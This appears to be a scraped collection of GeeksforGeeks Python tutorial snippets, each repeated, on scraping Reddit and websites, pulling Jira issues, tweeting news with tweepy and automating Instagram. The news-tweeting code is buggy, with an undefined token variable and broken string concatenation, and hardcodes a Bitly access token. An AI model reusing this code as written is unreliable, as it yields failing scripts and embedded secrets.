Scraping Reddit using Python import praw import pandas as pd reddit_read_only = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", ) # your user agent # URL of the post url = "https://www.reddit.com/r/IAmA/comments/m8n4vt/\ im_bill_gates_cochair_of_the_bill_and_melinda/" # Creating a submission object submission = reddit_read_only.submission(url=url) #Output : pip install praw [END]
Scraping Reddit using Python
https://www.geeksforgeeks.org/scraping-reddit-using-python/
from praw.models import MoreComments post_comments = [] for comment in submission.comments: if type(comment) == MoreComments: continue post_comments.append(comment.body) # creating a dataframe comments_df = pd.DataFrame(post_comments, columns=["comment"]) comments_df
#Output : pip install praw
Scraping Reddit using Python from praw.models import MoreComments post_comments = [] for comment in submission.comments: if type(comment) == MoreComments: continue post_comments.append(comment.body) # creating a dataframe comments_df = pd.DataFrame(post_comments, columns=["comment"]) comments_df #Output : pip install praw [END]
How to fetch data from Jira in Python?
https://www.geeksforgeeks.org/how-to-fetch-data-from-jira-in-python/
# import the installed Jira library from jira import JIRA # Specify a server key. It should be your # domain name link. yourdomainname.atlassian.net jiraOptions = {"server": "https://txxxxxxpython.atlassian.net"} # Get a JIRA client instance, pass, # Authentication parameters # and the Server name. # emailID = your emailID # token = token you receive after registration jira = JIRA( options=jiraOptions, basic_auth=("[email protected]", "bj9xxxxxxxxxxxxxxxxxxx5A") ) # Search all issues mentioned against a project name. for singleIssue in jira.search_issues(jql_str="project = MedicineAppBugs"): print( "{}: {}:{}".format( singleIssue.key, singleIssue.fields.summary, singleIssue.fields.reporter.displayName, ) )
#Output : pip install jira
How to fetch data from Jira in Python? # import the installed Jira library from jira import JIRA # Specify a server key. It should be your # domain name link. yourdomainname.atlassian.net jiraOptions = {"server": "https://txxxxxxpython.atlassian.net"} # Get a JIRA client instance, pass, # Authentication parameters # and the Server name. # emailID = your emailID # token = token you receive after registration jira = JIRA( options=jiraOptions, basic_auth=("[email protected]", "bj9xxxxxxxxxxxxxxxxxxx5A") ) # Search all issues mentioned against a project name. for singleIssue in jira.search_issues(jql_str="project = MedicineAppBugs"): print( "{}: {}:{}".format( singleIssue.key, singleIssue.fields.summary, singleIssue.fields.reporter.displayName, ) ) #Output : pip install jira [END]
How to fetch data from Jira in Python?
https://www.geeksforgeeks.org/how-to-fetch-data-from-jira-in-python/
# import the installed Jira library from jira import JIRA # Specify a server key. It is your domain # name link. jiraOptions = {"server": "https://txxxxxxpython.atlassian.net"} # Get a JIRA client instance, Pass # Authentication parameters # and Server name. # emailID = your emailID # token = token you receive after registration jira = JIRA( options=jiraOptions, basic_auth=("[email protected]", "bj9xxxxxxxxxxxxxxxxxxx5A") ) # While fetching details of a single issue, # pass its UniqueID or Key. singleIssue = jira.issue("MED-1") print( "{}: {}:{}".format( singleIssue.key, singleIssue.fields.summary, singleIssue.fields.reporter.displayName, ) )
#Output : pip install jira
How to fetch data from Jira in Python? # import the installed Jira library from jira import JIRA # Specify a server key. It is your domain # name link. jiraOptions = {"server": "https://txxxxxxpython.atlassian.net"} # Get a JIRA client instance, Pass # Authentication parameters # and Server name. # emailID = your emailID # token = token you receive after registration jira = JIRA( options=jiraOptions, basic_auth=("[email protected]", "bj9xxxxxxxxxxxxxxxxxxx5A") ) # While fetching details of a single issue, # pass its UniqueID or Key. singleIssue = jira.issue("MED-1") print( "{}: {}:{}".format( singleIssue.key, singleIssue.fields.summary, singleIssue.fields.reporter.displayName, ) ) #Output : pip install jira [END]
How to fetch data from Jira in Python?
https://www.geeksforgeeks.org/how-to-fetch-data-from-jira-in-python/
# Import the required libraries import requests from requests.auth import HTTPBasicAuth import json import pandas as pd # URL to Search all issues. url = "https://txxxxxxpython.atlassian.net/rest/api/2/search" # Create an authentication object,using # registered emailID, and, token received. auth = HTTPBasicAuth("[email protected]", "bj9xxxxxxxxxxxxxxxxxxx5A") # The Header parameter, should mention, the # desired format of data. headers = {"Accept": "application/json"} # Mention the JQL query. # Here, all issues, of a project, are # fetched,as,no criteria is mentioned. query = {"jql": "project =MedicineAppBugs "} # Create a request object with above parameters. response = requests.request("GET", url, headers=headers, auth=auth, params=query) # Get all project issues,by using the # json loads method. projectIssues = json.dumps( json.loads(response.text), sort_keys=True, indent=4, separators=(",", ": ") ) # The JSON response received, using # the requests object, # is an intricate nested object. # Convert the output to a dictionary object. dictProjectIssues = json.loads(projectIssues) # We will append,all issues,in a list object. listAllIssues = [] # The Issue details, we are interested in, # are "Key" , "Summary" and "Reporter Name" keyIssue, keySummary, keyReporter = "", "", "" def iterateDictIssues(oIssues, listInner): # Now,the details for each Issue, maybe # directly accessible, or present further, # in nested dictionary objects. for key, values in oIssues.items(): # If key is 'fields', get its value, # to fetch the 'summary' of issue. if key == "fields": # Since type of object is Json str, # convert to dictionary object. fieldsDict = dict(values) # The 'summary' field, we want, is # present in, further,nested dictionary # object. Hence,recursive call to # function 'iterateDictIssues'. iterateDictIssues(fieldsDict, listInner) # If key is 'reporter',get its value, # to fetch the 'reporter name' of issue. elif key == "reporter": # Since type of object is Json str # convert to dictionary object. reporterDict = dict(values) # The 'displayName', we want,is present # in,further, nested dictionary object. # Hence,recursive call to function 'iterateDictIssues'. iterateDictIssues(reporterDict, listInner) # Issue keyID 'key' is directly accessible. # Get the value of key "key" and append # to temporary list object. elif key == "key": keyIssue = values listInner.append(keyIssue) # Get the value of key "summary",and, # append to temporary list object, once matched. elif key == "summary": keySummary = values listInner.append(keySummary) # Get the value of key "displayName",and, # append to temporary list object,once matched. elif key == "displayName": keyReporter = values listInner.append(keyReporter) # Iterate through the API output and look # for key 'issues'. for key, value in dictProjectIssues.items(): # Issues fetched, are present as list elements, # against the key "issues". if key == "issues": # Get the total number of issues present # for our project. totalIssues = len(value) # Iterate through each issue,and, # extract needed details-Key, Summary, # Reporter Name. for eachIssue in range(totalIssues): listInner = [] # Issues related data,is nested # dictionary object. iterateDictIssues(value[eachIssue], listInner) # We append, the temporary list fields, # to a final list. listAllIssues.append(listInner) # Prepare a dataframe object,with the final # list of values fetched. dfIssues = pd.DataFrame(listAllIssues, columns=["Reporter", "Summary", "Key"]) # Reframing the columns to get proper # sequence in output. columnTiles = ["Key", "Summary", "Reporter"] dfIssues = dfIssues.reindex(columns=columnTiles) print(dfIssues)
#Output : pip install jira
How to fetch data from Jira in Python? # Import the required libraries import requests from requests.auth import HTTPBasicAuth import json import pandas as pd # URL to Search all issues. url = "https://txxxxxxpython.atlassian.net/rest/api/2/search" # Create an authentication object,using # registered emailID, and, token received. auth = HTTPBasicAuth("[email protected]", "bj9xxxxxxxxxxxxxxxxxxx5A") # The Header parameter, should mention, the # desired format of data. headers = {"Accept": "application/json"} # Mention the JQL query. # Here, all issues, of a project, are # fetched,as,no criteria is mentioned. query = {"jql": "project =MedicineAppBugs "} # Create a request object with above parameters. response = requests.request("GET", url, headers=headers, auth=auth, params=query) # Get all project issues,by using the # json loads method. projectIssues = json.dumps( json.loads(response.text), sort_keys=True, indent=4, separators=(",", ": ") ) # The JSON response received, using # the requests object, # is an intricate nested object. # Convert the output to a dictionary object. dictProjectIssues = json.loads(projectIssues) # We will append,all issues,in a list object. listAllIssues = [] # The Issue details, we are interested in, # are "Key" , "Summary" and "Reporter Name" keyIssue, keySummary, keyReporter = "", "", "" def iterateDictIssues(oIssues, listInner): # Now,the details for each Issue, maybe # directly accessible, or present further, # in nested dictionary objects. for key, values in oIssues.items(): # If key is 'fields', get its value, # to fetch the 'summary' of issue. if key == "fields": # Since type of object is Json str, # convert to dictionary object. fieldsDict = dict(values) # The 'summary' field, we want, is # present in, further,nested dictionary # object. Hence,recursive call to # function 'iterateDictIssues'. iterateDictIssues(fieldsDict, listInner) # If key is 'reporter',get its value, # to fetch the 'reporter name' of issue. elif key == "reporter": # Since type of object is Json str # convert to dictionary object. reporterDict = dict(values) # The 'displayName', we want,is present # in,further, nested dictionary object. # Hence,recursive call to function 'iterateDictIssues'. iterateDictIssues(reporterDict, listInner) # Issue keyID 'key' is directly accessible. # Get the value of key "key" and append # to temporary list object. elif key == "key": keyIssue = values listInner.append(keyIssue) # Get the value of key "summary",and, # append to temporary list object, once matched. elif key == "summary": keySummary = values listInner.append(keySummary) # Get the value of key "displayName",and, # append to temporary list object,once matched. elif key == "displayName": keyReporter = values listInner.append(keyReporter) # Iterate through the API output and look # for key 'issues'. for key, value in dictProjectIssues.items(): # Issues fetched, are present as list elements, # against the key "issues". if key == "issues": # Get the total number of issues present # for our project. totalIssues = len(value) # Iterate through each issue,and, # extract needed details-Key, Summary, # Reporter Name. for eachIssue in range(totalIssues): listInner = [] # Issues related data,is nested # dictionary object. iterateDictIssues(value[eachIssue], listInner) # We append, the temporary list fields, # to a final list. listAllIssues.append(listInner) # Prepare a dataframe object,with the final # list of values fetched. dfIssues = pd.DataFrame(listAllIssues, columns=["Reporter", "Summary", "Key"]) # Reframing the columns to get proper # sequence in output. columnTiles = ["Key", "Summary", "Reporter"] dfIssues = dfIssues.reindex(columns=columnTiles) print(dfIssues) #Output : pip install jira [END]
Scrape most reviewed news and tweet using Python
https://www.geeksforgeeks.org/scrape-most-reviewed-news-and-tweet-using-python/
# Python program to get top 3 trendy news item import tweepy import json from datetime import date, timedelta, datetime from pymongo import MongoClient from html.parser import HTMLParser import re from pyshorteners import Shortener NewsArrayIndex = 0 NewsArray = [None] * 3 class MyHTMLParser(HTMLParser): # This function collects the value # of href and stores in NewsArrayIndex # variable def handle_starttag(self, tag, attrs): # Only parse the 'anchor' tag. global NewsArrayIndex if tag == "a": # Check the list of defined attributes. for name, value in attrs: # If href is defined, print it. if name == "href": # print(value + "\t" + News1) NewsArray[NewsArrayIndex] = value # print(NewsArray) NewsArrayIndex += 1 # This function is the primary place # to tweet the collected daily news # News is retrieved from Coll_DailyNewsPlusReview # collection (MongoDB collection) This collection # holds the value of " News Headlines, Its review # count, news link" and based upon the review count, # top most # reviewed news are taken As twitter allows # only 280 characters, the retrieved news link got # shortened by using BITLY API Hashtags related to # the news are added underneath the retrieved top # 3 news (All together allowed characters are 280) # Then top 3 news gets tweeted from a credential # Finally per day basis the tweeted news are stored # into another collection for audit purposes as well # as for weekly posting def tweetDailyNews(): try: # This is the collection name in mongodb cursor_P = db1.Coll_DailyNewsPlusReview.find({"time": date_str}) p0 = cursor_P[0] News = p0.get("News") sortedNews = sorted(News, key=lambda x: int(x[1]), reverse=True) print( sortedNews[0][0] + "--" + sortedNews[0][1], sortedNews[1][0] + ".." + sortedNews[1][1], sortedNews[2][0] + ".." + sortedNews[2][1], ) hyperlink_format = '<a href ="{link}">{text}</a>' parser = MyHTMLParser() dailyNews = "Impactful News of the Day" + "\n" News0 = sortedNews[0][2] parser.feed(hyperlink_format.format(link=News0, text=News0)) News1 = sortedNews[1][2] print("News1", News1) parser.feed(hyperlink_format.format(link=News1, text=News1)) News2 = sortedNews[2][2] print(News2) parser.feed(hyperlink_format.format(link=News2, text=News2)) # News shortening pattern BITLY_ACCESS_TOKEN = "20dab258cc44c7d017bcd1c1f4b24484a37b8de9" b = Shortener(api_key=ACCESS_TOKEN) NewsArray[0] = re.sub("\n", "", NewsArray[0]) response1 = b.bitly.short(NewsArray[0]) response1 = response1["url"] NewsArray[1] = re.sub("\n", "", NewsArray[1]) response2 = b.bitly.short(NewsArray[1]) response2 = response2["url"] NewsArray[2] = re.sub("\n", "", NewsArray[2]) response3 = b.bitly.short(NewsArray[2]) response3 = response3["url"] news1FewWords = sortedNews[0][0].split() dailyNews += news1FewWords[0] + " " +news1FewWords[1] + " " + news1FewWords[2] +"...." + response1 + "\n" news2FewWords = sortedNews[1][0].split() dailyNews += news2FewWords[0] + " " +news2FewWords[1] + " " + news2FewWords[2] +"...." + response2 + "\n" news3FewWords = sortedNews[2][0].split() dailyNews += news3FewWords[0] + " " +news3FewWords[1] + " " + news3FewWords[2] ( +"...." + response3 + "\n" + "# bitcoin \ # cryptocurrency # blockchain # investor # altcoins\ # fintech # investment" ) print(dailyNews) status = api.update_status(status=dailyNews) if status: for i in range(3): datas = {} datas["time"] = str(date.today()) datas["posted_as"] = i datas["news"] = sortedNews[i][0] datas["shortenedlink"] = NewsArray[i] datas["reviewcount"] = sortedNews[i][1] datas["link"] = sortedNews[i][2] db1.Collection_tweeted_news.insert(datas) except Exception as e: print(e) print("Error in getting today news data", str(date_str)) # Driver Code News1 = " " News2 = " " date_str = str(date.today()) print("today", date_str) client = MongoClient("mongodb://localhost:27017/") # Connect your database here db1 = client.xxxx # credentials to tweet consumer_key = "xxxx" consumer_secret = "xxxx" access_token = "xxxx" access_token_secret = "xxxx" # authentication of consumer key and secret auth = tweepy.OAuthHandler(consumer_key, consumer_secret) # authentication of access token and secret auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True) tweetDailyNews()
#Output : pip install tweepy
Scrape most reviewed news and tweet using Python # Python program to get top 3 trendy news item import tweepy import json from datetime import date, timedelta, datetime from pymongo import MongoClient from html.parser import HTMLParser import re from pyshorteners import Shortener NewsArrayIndex = 0 NewsArray = [None] * 3 class MyHTMLParser(HTMLParser): # This function collects the value # of href and stores in NewsArrayIndex # variable def handle_starttag(self, tag, attrs): # Only parse the 'anchor' tag. global NewsArrayIndex if tag == "a": # Check the list of defined attributes. for name, value in attrs: # If href is defined, print it. if name == "href": # print(value + "\t" + News1) NewsArray[NewsArrayIndex] = value # print(NewsArray) NewsArrayIndex += 1 # This function is the primary place # to tweet the collected daily news # News is retrieved from Coll_DailyNewsPlusReview # collection (MongoDB collection) This collection # holds the value of " News Headlines, Its review # count, news link" and based upon the review count, # top most # reviewed news are taken As twitter allows # only 280 characters, the retrieved news link got # shortened by using BITLY API Hashtags related to # the news are added underneath the retrieved top # 3 news (All together allowed characters are 280) # Then top 3 news gets tweeted from a credential # Finally per day basis the tweeted news are stored # into another collection for audit purposes as well # as for weekly posting def tweetDailyNews(): try: # This is the collection name in mongodb cursor_P = db1.Coll_DailyNewsPlusReview.find({"time": date_str}) p0 = cursor_P[0] News = p0.get("News") sortedNews = sorted(News, key=lambda x: int(x[1]), reverse=True) print( sortedNews[0][0] + "--" + sortedNews[0][1], sortedNews[1][0] + ".." + sortedNews[1][1], sortedNews[2][0] + ".." + sortedNews[2][1], ) hyperlink_format = '<a href ="{link}">{text}</a>' parser = MyHTMLParser() dailyNews = "Impactful News of the Day" + "\n" News0 = sortedNews[0][2] parser.feed(hyperlink_format.format(link=News0, text=News0)) News1 = sortedNews[1][2] print("News1", News1) parser.feed(hyperlink_format.format(link=News1, text=News1)) News2 = sortedNews[2][2] print(News2) parser.feed(hyperlink_format.format(link=News2, text=News2)) # News shortening pattern BITLY_ACCESS_TOKEN = "20dab258cc44c7d017bcd1c1f4b24484a37b8de9" b = Shortener(api_key=ACCESS_TOKEN) NewsArray[0] = re.sub("\n", "", NewsArray[0]) response1 = b.bitly.short(NewsArray[0]) response1 = response1["url"] NewsArray[1] = re.sub("\n", "", NewsArray[1]) response2 = b.bitly.short(NewsArray[1]) response2 = response2["url"] NewsArray[2] = re.sub("\n", "", NewsArray[2]) response3 = b.bitly.short(NewsArray[2]) response3 = response3["url"] news1FewWords = sortedNews[0][0].split() dailyNews += news1FewWords[0] + " " +news1FewWords[1] + " " + news1FewWords[2] +"...." + response1 + "\n" news2FewWords = sortedNews[1][0].split() dailyNews += news2FewWords[0] + " " +news2FewWords[1] + " " + news2FewWords[2] +"...." + response2 + "\n" news3FewWords = sortedNews[2][0].split() dailyNews += news3FewWords[0] + " " +news3FewWords[1] + " " + news3FewWords[2] ( +"...." + response3 + "\n" + "# bitcoin \ # cryptocurrency # blockchain # investor # altcoins\ # fintech # investment" ) print(dailyNews) status = api.update_status(status=dailyNews) if status: for i in range(3): datas = {} datas["time"] = str(date.today()) datas["posted_as"] = i datas["news"] = sortedNews[i][0] datas["shortenedlink"] = NewsArray[i] datas["reviewcount"] = sortedNews[i][1] datas["link"] = sortedNews[i][2] db1.Collection_tweeted_news.insert(datas) except Exception as e: print(e) print("Error in getting today news data", str(date_str)) # Driver Code News1 = " " News2 = " " date_str = str(date.today()) print("today", date_str) client = MongoClient("mongodb://localhost:27017/") # Connect your database here db1 = client.xxxx # credentials to tweet consumer_key = "xxxx" consumer_secret = "xxxx" access_token = "xxxx" access_token_secret = "xxxx" # authentication of consumer key and secret auth = tweepy.OAuthHandler(consumer_key, consumer_secret) # authentication of access token and secret auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True) tweetDailyNews() #Output : pip install tweepy [END]
Scrape content from dynamic websites
https://www.geeksforgeeks.org/scrape-content-from-dynamic-websites/
#### This program scrapes naukri.com's page and gives our result as a #### list of all the job_profiles which are currently present there. import requests from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.common.keys import Keys import time # url of the page we want to scrape url = "https://www.naukri.com/top-jobs-by-designations# desigtop600" # initiating the webdriver. Parameter includes the path of the webdriver. driver = webdriver.Chrome("./chromedriver") driver.get(url) # this is just to ensure that the page is loaded time.sleep(5) html = driver.page_source # this renders the JS code and stores all # of the information in static HTML code. # Now, we could simply apply bs4 to html variable soup = BeautifulSoup(html, "html.parser") all_divs = soup.find("div", {"id": "nameSearch"}) job_profiles = all_divs.find_all("a") # printing top ten job profiles count = 0 for job_profile in job_profiles: print(job_profile.text) count = count + 1 if count == 10: break driver.close() # closing the webdriver
#Output :
Scrape content from dynamic websites #### This program scrapes naukri.com's page and gives our result as a #### list of all the job_profiles which are currently present there. import requests from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.common.keys import Keys import time # url of the page we want to scrape url = "https://www.naukri.com/top-jobs-by-designations# desigtop600" # initiating the webdriver. Parameter includes the path of the webdriver. driver = webdriver.Chrome("./chromedriver") driver.get(url) # this is just to ensure that the page is loaded time.sleep(5) html = driver.page_source # this renders the JS code and stores all # of the information in static HTML code. # Now, we could simply apply bs4 to html variable soup = BeautifulSoup(html, "html.parser") all_divs = soup.find("div", {"id": "nameSearch"}) job_profiles = all_divs.find_all("a") # printing top ten job profiles count = 0 for job_profile in job_profiles: print(job_profile.text) count = count + 1 if count == 10: break driver.close() # closing the webdriver #Output : [END]
Automate Instagram Messages using Python
https://www.geeksforgeeks.org/automate-instagram-messages-using-python/
from selenium import webdriver import os import time from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions from selenium.webdriver.common.keys import Keys from webdriver_manager.chrome import ChromeDriverManager
#Output : pip install selenium
Automate Instagram Messages using Python from selenium import webdriver import os import time from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions from selenium.webdriver.common.keys import Keys from webdriver_manager.chrome import ChromeDriverManager #Output : pip install selenium [END]
Automate Instagram Messages using Python
https://www.geeksforgeeks.org/automate-instagram-messages-using-python/
driver = webdriver.Chrome(ChromeDriverManager().install())
#Output : pip install selenium
Automate Instagram Messages using Python driver = webdriver.Chrome(ChromeDriverManager().install()) #Output : pip install selenium [END]